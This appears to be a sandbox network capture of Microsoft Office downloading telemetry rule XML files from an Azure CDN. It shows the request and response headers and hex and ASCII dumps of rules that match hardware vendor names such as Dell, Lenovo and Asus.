2024-10-30 01:27:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:56 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:57 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:56 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 85f3058c-201e-00aa-6c2c-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012756Z-15b8d89586fvk4kmbg8pf84y88000000085g00000000e8d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:57 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:56 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:57 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:56 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: f31c25f5-601e-0001-6558-27faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012756Z-r197bdfb6b4grkz4xgvkar0zcs00000006wg00000000m2w4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:57 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:57 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:57 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012757Z-16849878b78fhxrnedubv5byks00000005rg0000000053sb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:27:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:57 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:57 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012757Z-17c5cb586f6lxnvg801rcb3n8n00000007c0000000003cte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:57 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:57 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 8abc48b9-201e-0096-2f4f-28ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012757Z-15b8d89586fwzdd8urmg0p1ebs0000000hyg00000000c4dm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:58 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:58 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:58 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 0d0c59f1-101e-005a-526a-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012758Z-17c5cb586f6mkpfkkpsf1dpups00000002p0000000009hrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5fe76b8-601e-0050-2e06-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012758Z-17c5cb586f6sqz6f73fsew1zd8000000010000000000dw0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:58 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012758Z-17c5cb586f62blg5ss55p9d6fn000000087g00000000565k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:58 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012758Z-16849878b78x6gn56mgecg60qc000000097g000000002qfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:58 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012758Z-16849878b78wv88bk51myq5vxc00000007hg00000000qb2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012759Z-16849878b7867ttgfbpnfxt44s000000077000000000axc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
